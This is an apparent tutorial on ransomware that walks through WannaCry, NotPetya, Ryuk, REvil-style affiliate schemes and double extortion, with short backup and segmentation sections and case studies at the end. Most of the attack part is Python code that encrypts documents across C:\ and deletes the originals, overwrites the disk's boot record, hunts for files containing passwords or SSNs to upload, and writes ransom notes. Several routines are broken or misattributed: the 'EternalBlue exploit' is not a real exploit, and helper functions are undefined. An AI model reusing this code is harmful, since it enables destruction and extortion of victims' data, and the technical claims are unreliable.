In this project, we will explore ransomware attacks, which have become one of the most destructive cyber threats in recent years. We'll examine how ransomware works, analyze real-world examples, and demonstrate the techniques used by attackers to encrypt files and extort victims. We'll also look at the evolution of ransomware from simple encryption to sophisticated double-extortion campaigns.
What is Ransomware?
Ransomware is a type of malicious software that encrypts a victim's files and demands payment (usually in cryptocurrency) in exchange for the decryption key. Unlike other malware that steals data or damages systems, ransomware's primary goal is financial extortion.
How Ransomware Works
Infection: Ransomware gains access to a system through various vectors like phishing emails, malicious downloads, or exploiting vulnerabilities.
Encryption: Once inside, it encrypts files using strong cryptographic algorithms, making them inaccessible to the victim.
Extortion: The attacker demands payment, typically in cryptocurrency, promising to provide the decryption key.
Recovery: If payment is made, the attacker may (or may not) provide the decryption key to restore access.
Real-World Ransomware Examples
WannaCry (2017)
Impact: Infected over 300,000 computers across 150 countries Damage: Estimated $4-8 billion in damages Target: Exploited EternalBlue vulnerability in Windows SMB
# Example of how WannaCry spread using EternalBlue
import socket
import struct
def eternalblue_exploit(target_ip):
"""Simplified example of EternalBlue exploit used by WannaCry"""
# MS17-010 vulnerability in SMB
exploit_packet = b'\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8'
exploit_packet += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, 445))
sock.send(exploit_packet)
# If successful, upload and execute ransomware
upload_ransomware(target_ip)
except Exception as e:
print(f"Exploit failed: {e}")
finally:
sock.close()
def upload_ransomware(target):
"""Upload ransomware payload to compromised system"""
print(f"Uploading ransomware to {target}")
# In real attack, this would upload the actual ransomware binary
WannaCry's Encryption Process:
# Example of WannaCry's file encryption
import os
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def encrypt_file(file_path, key):
"""Encrypt a single file (simplified WannaCry example)"""
# Generate random IV
iv = os.urandom(16)
# Read file content
with open(file_path, 'rb') as f:
plaintext = f.read()
# Encrypt using AES-128-CBC
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
# Pad plaintext to block size
padded_plaintext = plaintext + b'\x00' * (16 - len(plaintext) % 16)
ciphertext = encryptor.update(padded_plaintext) + encryptor.finalize()
# Write encrypted file
encrypted_path = file_path + '.WNCRY'
with open(encrypted_path, 'wb') as f:
f.write(iv + ciphertext)
# Delete original file
os.remove(file_path)
print(f"Encrypted: {file_path}")
def encrypt_system():
"""Encrypt all files on the system"""
extensions = ['.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.pdf', '.txt']
for root, dirs, files in os.walk('C:\\'):
for file in files:
if any(file.endswith(ext) for ext in extensions):
file_path = os.path.join(root, file)
try:
encrypt_file(file_path, encryption_key)
except:
continue
NotPetya (2017)
Impact: Caused $10 billion in damages worldwide Target: Ukrainian businesses, but spread globally Method: Masqueraded as ransomware but was actually destructive malware
# Example of NotPetya's MBR overwrite
def overwrite_mbr():
"""Overwrite Master Boot Record (simplified NotPetya example)"""
# Malicious MBR code
malicious_mbr = b'\xeb\x63\x90\x4d\x53\x44\x4f\x53\x35\x2e\x30\x00\x02\x08\x01\x00'
malicious_mbr += b'\x02\x00\x02\x00\x00\xf8\xf8\x00\x3f\x00\xff\x00\x3f\x00\x00\x00'
malicious_mbr += b'\x00\x00\x00\x00\x80\x00\x29\x00\x00\x00\x00\x00\x00\x00\x00\x00'
try:
# Write malicious MBR to disk
with open('\\\\.\\PhysicalDrive0', 'wb') as f:
f.write(malicious_mbr)
print("MBR overwritten - system will not boot")
except Exception as e:
print(f"Failed to overwrite MBR: {e}")
def display_ransom_note():
"""Display NotPetya's ransom note"""
ransom_note = """
Ooops, your important files are encrypted with military grade encryption algorithms.
More information about decryption of your files:
https://pastebin.com/raw/8sFqJ2Sf
Your personal installation key: [UNIQUE_KEY]
To decrypt your files, you need to obtain the private key.
The single copy of the private key, which will allow you to recover your files,
is located on a secret server on the internet.
The server will destroy the key at a specified time.
You have 72 hours to submit the payment and obtain the private key.
If you see this text, then your files are no longer accessible,
because they are encrypted. Perhaps you are busy looking for a way to recover your files,
but don't waste your time. Nobody can recover your files without our decryption service.
"""
# Create ransom note files
ransom_files = ['README_FOR_DECRYPT.txt', 'README.txt', 'DECRYPT_INSTRUCTIONS.txt']
for filename in ransom_files:
with open(filename, 'w') as f:
f.write(ransom_note)
Ryuk (2018-2021)
Impact: Targeted high-value organizations Method: Manual deployment after network compromise Ransom: Often demanded millions of dollars
# Example of Ryuk's targeted encryption
def ryuk_encryption():
"""Ryuk's targeted file encryption approach"""
# Target specific file types and directories
target_extensions = [
'.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx',
'.pdf', '.txt', '.zip', '.rar', '.7z', '.tar',
'.sql', '.mdb', '.bak', '.tar', '.tgz', '.gz'
]
# Target specific directories
target_dirs = [
'C:\\Users\\',
'C:\\Documents and Settings\\',
'D:\\',
'E:\\',
'F:\\'
]
# Skip system directories to avoid detection
skip_dirs = [
'C:\\Windows\\',
'C:\\Program Files\\',
'C:\\Program Files (x86)\\',
'C:\\$Recycle.Bin\\'
]
for directory in target_dirs:
if any(skip in directory for skip in skip_dirs):
continue
for root, dirs, files in os.walk(directory):
for file in files:
if any(file.endswith(ext) for ext in target_extensions):
file_path = os.path.join(root, file)
try:
encrypt_file_ryuk(file_path)
except:
continue
def encrypt_file_ryuk(file_path):
"""Ryuk's file encryption with .ryuk extension"""
# Generate encryption key
key = os.urandom(32)
# Read file
with open(file_path, 'rb') as f:
data = f.read()
# Encrypt data
cipher = Cipher(algorithms.AES(key), modes.CBC(os.urandom(16)), backend=default_backend())
encryptor = cipher.encryptor()
# Pad data
padded_data = data + b'\x00' * (16 - len(data) % 16)
encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
# Write encrypted file with .ryuk extension
encrypted_path = file_path + '.ryuk'
with open(encrypted_path, 'wb') as f:
f.write(encrypted_data)
# Delete original
os.remove(file_path)
print(f"Encrypted: {file_path} -> {encrypted_path}")
Ransomware-as-a-Service (RaaS)
REvil/Sodinokibi (2019-2021)
Model: RaaS platform Target: High-profile victims including Kaseya, JBS Revenue: Estimated $200+ million in ransom payments
# Example of RaaS affiliate dashboard
class RaaSPlatform:
def __init__(self):
self.affiliates = {}
self.victims = {}
self.payments = {}
def register_affiliate(self, affiliate_id, contact_info):
"""Register new affiliate"""
self.affiliates[affiliate_id] = {
'contact': contact_info,
'victims': [],
'earnings': 0,
'commission_rate': 0.70 # 70% commission
}
print(f"Affiliate {affiliate_id} registered")
def create_ransomware_builder(self, affiliate_id):
"""Create custom ransomware for affiliate"""
config = {
'affiliate_id': affiliate_id,
'encryption_key': os.urandom(32),
'ransom_note': f"Contact affiliate {affiliate_id} for decryption",
'payment_address': generate_bitcoin_address(),
'file_extensions': ['.doc', '.docx', '.pdf', '.xls', '.xlsx'],
'excluded_dirs': ['C:\\Windows\\', 'C:\\Program Files\\']
}
return self.build_ransomware(config)
def track_victim(self, affiliate_id, victim_info):
"""Track victim for affiliate"""
victim_id = generate_victim_id()
self.victims[victim_id] = {
'affiliate_id': affiliate_id,
'info': victim_info,
'status': 'encrypted',
'payment_amount': 0,
'payment_status': 'pending'
}
self.affiliates[affiliate_id]['victims'].append(victim_id)
return victim_id
def process_payment(self, victim_id, amount):
"""Process ransom payment"""
victim = self.victims[victim_id]
affiliate_id = victim['affiliate_id']
# Update payment status
victim['payment_amount'] = amount
victim['payment_status'] = 'paid'
# Calculate affiliate commission
commission = amount * self.affiliates[affiliate_id]['commission_rate']
self.affiliates[affiliate_id]['earnings'] += commission
print(f"Payment processed: ${amount}")
print(f"Affiliate commission: ${commission}")
# Example usage
raas = RaaSPlatform()
raas.register_affiliate("AFF001", "affiliate@example.com")
ransomware_builder = raas.create_ransomware_builder("AFF001")
Double and Triple Extortion
Modern Ransomware Tactics
Double Extortion: Encrypt files AND steal data, threatening to leak if ransom isn't paid Triple Extortion: Add DDoS attacks or contacting customers/suppliers
# Example of double extortion ransomware
class DoubleExtortionRansomware:
def __init__(self):
self.stolen_data = []
self.encrypted_files = []
self.victim_info = {}
def steal_data(self):
"""Steal sensitive data before encryption"""
sensitive_extensions = ['.sql', '.mdb', '.db', '.csv', '.json', '.xml']
sensitive_keywords = ['password', 'credit', 'ssn', 'social', 'account']
for root, dirs, files in os.walk('C:\\'):
for file in files:
file_path = os.path.join(root, file)
# Check if file contains sensitive data
if any(ext in file.lower() for ext in sensitive_extensions):
self.extract_sensitive_data(file_path)
# Search file content for sensitive keywords
try:
with open(file_path, 'r', errors='ignore') as f:
content = f.read().lower()
if any(keyword in content for keyword in sensitive_keywords):
self.extract_sensitive_data(file_path)
except:
continue
def extract_sensitive_data(self, file_path):
"""Extract and upload sensitive data"""
try:
with open(file_path, 'rb') as f:
data = f.read()
# Compress data
compressed_data = compress_data(data)
# Upload to attacker's server
upload_to_server(compressed_data, file_path)
self.stolen_data.append({
'file': file_path,
'size': len(data),
'uploaded': True
})
print(f"Stolen: {file_path}")
except Exception as e:
print(f"Failed to steal {file_path}: {e}")
def encrypt_files(self):
"""Encrypt files after stealing data"""
for root, dirs, files in os.walk('C:\\'):
for file in files:
if file.endswith(('.doc', '.docx', '.pdf', '.xls', '.xlsx')):
file_path = os.path.join(root, file)
self.encrypt_single_file(file_path)
def display_threat(self):
"""Display double extortion threat"""
threat_note = f"""
YOUR FILES HAVE BEEN ENCRYPTED
We have encrypted {len(self.encrypted_files)} files on your system.
BUT THAT'S NOT ALL...
We have also stolen {len(self.stolen_data)} files containing sensitive data including:
- Customer information
- Financial records
- Employee data
- Trade secrets
If you don't pay the ransom within 72 hours, we will:
1. Permanently delete the decryption key
2. Publish all stolen data on the dark web
3. Contact your customers and partners
4. Report the breach to regulatory authorities
Payment: $500,000 in Bitcoin
Address: bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh
Contact: ransom@darkweb.com
"""
# Create threat note
with open('RANSOM_NOTE.txt', 'w') as f:
f.write(threat_note)
# Change desktop background
change_desktop_background(threat_note)
Prevention and Defense
Backup Strategies
# Example of 3-2-1 backup strategy
def implement_backup_strategy():
"""Implement 3-2-1 backup strategy"""
backup_locations = [
'C:\\Backups\\Local', # Local backup
'D:\\Backups\\Local', # Local backup (different drive)
'\\\\NAS\\Backups\\Network', # Network backup
'S3://company-backups/cloud' # Cloud backup
]
for location in backup_locations:
create_backup(location)
print("3-2-1 backup strategy implemented")
def create_backup(location):
"""Create backup at specified location"""
import shutil
import datetime
timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
backup_name = f"backup_{timestamp}"
try:
# Create backup
shutil.copytree('C:\\ImportantData', f"{location}\\{backup_name}")
print(f"Backup created: {location}\\{backup_name}")
# Test backup integrity
test_backup_integrity(f"{location}\\{backup_name}")
except Exception as e:
print(f"Backup failed at {location}: {e}")
Network Segmentation
# Example of network segmentation
def implement_network_segmentation():
"""Implement network segmentation to limit ransomware spread"""
network_segments = {
'production': {
'subnet': '192.168.1.0/24',
'access': 'restricted',
'backup_frequency': 'hourly'
},
'development': {
'subnet': '192.168.2.0/24',
'access': 'limited',
'backup_frequency': 'daily'
},
'guest': {
'subnet': '192.168.3.0/24',
'access': 'isolated',
'backup_frequency': 'none'
}
}
for segment, config in network_segments.items():
configure_segment(segment, config)
print(f"Segment {segment} configured")
def configure_segment(segment_name, config):
"""Configure network segment"""
# Configure firewall rules
firewall_rules = [
f"allow {segment_name} to backup-server",
f"deny {segment_name} to production-servers",
f"allow {segment_name} to internet"
]
for rule in firewall_rules:
apply_firewall_rule(rule)
Real-World Case Studies
Colonial Pipeline (2021)
Ransomware: DarkSide Impact: Shut down largest fuel pipeline in US Payment: $4.4 million (partially recovered) Result: New cybersecurity regulations for critical infrastructure
Kaseya (2021)
Ransomware: REvil Impact: 1,500+ businesses affected Method: Supply chain attack through MSP software Result: $70 million ransom demand
JBS Foods (2021)
Ransomware: REvil Impact: Largest meat processor globally Payment: $11 million Result: Temporary shutdown of operations
Conclusion
Ransomware has evolved from simple file encryption to sophisticated extortion campaigns that can cripple organizations and critical infrastructure. Understanding how these attacks work and implementing proper defenses is crucial for protecting against this growing threat.
The key to defending against ransomware is a multi-layered approach that includes regular backups, network segmentation, employee training, and robust security controls. Organizations must also have incident response plans in place to quickly respond to and recover from ransomware attacks.
Remember: Prevention is always better than paying the ransom. Invest in security measures now to avoid the high costs and disruption of a ransomware attack later.